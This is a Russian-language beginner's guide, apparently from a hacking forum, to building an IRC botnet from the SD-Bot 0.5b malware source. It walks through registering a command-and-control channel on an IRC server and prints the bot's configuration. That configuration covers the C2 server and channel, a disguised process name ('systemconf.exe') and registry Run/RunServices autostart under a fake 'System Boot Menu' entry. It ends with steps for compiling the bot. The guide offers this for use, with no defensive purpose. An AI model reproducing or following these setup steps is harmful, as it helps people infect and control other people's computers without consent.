Рылся в компе нашёл вот гайдик, хз как долго он валялся ну до ладно, читаемс:
Статья возможно будет не интересна для продвинутых но для новичком она окажется весьма познавательной , да-да, знаю, IRC ботнеты не так актуальные как HTTP, но я расскажу как его можно умно использовать.
Что нам понадобиться:
1) IRC канал, на нем будут сидеть боты.
2) Исходник ботнета, я буду использовать SD-Bot 05b
Для регистрации канала нам нужен клиент IRC, допустим MIRC, скачали клиент, установили, запустили и зашли в него, далее добавляем в список IRC серверов следующий сервер:irc.yakimanka.net если нужно ввести порт то вводим 6667.
Подключаемся к каналу, если всё ок то в чат вводим /join #chanel_name
Вместо chanel_name вводим свое имя канала. Если такого канала нету то вы будете в нем одни и возле вашего ника будет стоять @, кстати, вам нужно зарегистрировать ещё и ник иначе вы будете как гость:
/NickServ register password email
password — ваш пароль.
email — ваш e-mail.
Примечание: в настройках клиента вы должны указать ваш ник и после эта команда зарегистрирует ваш ник на вас и ещё одно, когда будете в дальнейшем заходить на этот сервер то в главном окне сервера вам в конца скажут подтвердить ваш ник и для подтверждения вам выведут пример команды.
Теперь вернемся к нашему каналу, если вы главный в этом канале то вводим следующую команду /msg chanserv register chanel_name password description
chanel_name — имя вашего канала.
password — пароль вашего канала.
description — описание вашего канала.
Эта команда зарегистрирует этот канал на вас.
Всё, теперь вы создали свой собственный IRC канал!
Приступим к основной части — настройка и компиляция бота.
Для работы нам нужно скачать lcc-win
Розархивируйте содержимое архива в отдельную папку и там найдите файл sdbot051b.c — откройте его в любом текстовом редакторе и немного пролистайте вниз где вы и увидите настройки бота, подсказки в комментариях
Цитата:
// bot configuration
constchar botid[] = "id"; // сюда ввести любое слово/значениеconstchar password[] = "pass"; // пароль на ботовconstint maxlogins = 4; // maximum number of simultaneous loginsconstchar server[] = "irc.yakimanka.net"; // сервер ircconstint port = 6667; // порт сервераconstchar serverpass[] = "pass"; // пароль сервера( на irc.yakimanka.net можно оставить пустым)constchar channel[] = "#chanel_name"; // имя канала куда будут подключаться ботыconstchar chanpass[] = ""; // пароль канала, тоже можно оставить пустымconstchar server2[] = "irc.yakimanka.net"; // запасной серверconstint port2 = 6667; // порт запасного сервераconstchar channel2[] = ""; // запасной каналаconstchar chanpass2[] = "pass"; //пароль запасного каналаconstBOOL topiccmd = FALSE; // set to TRUE to enable topic commandsconstBOOL rndfilename = FALSE; // use random file nameconstchar filename[] = "systemconf.exe"; // Как будет отображаться процесс ботаconstBOOL regrun = TRUE; // use the Run registry key for autostartconstBOOL regrunservices = TRUE; // use the RunServices registry key for autostartconstchar valuename[] = "System Boot Menu"; // Значение бота в автозагрузкеconstchar prefix = '.'; // command prefix (one character max.)constchar version[] = "sdbot v0.5b by [sd]"; // bot's VERSION replyconstint cryptkey = 0; // encryption key (not used right now)
constint maxaliases = 16; // maximum number of aliases (must be greater than the number of predefined aliases).
Cохранили исходник и теперь заходим в lcc-win ( Пуск->Все программы->lcc-win->lcc-win.exe ) в программе откроем наш исходник ( File->Open ), теперь нажмем Compile->Make (F9), на все ошибки кликаем Ок или Add lib
Готово, теперь в папке с исходником появилась папка lcc и там будет лежать наш готовый бот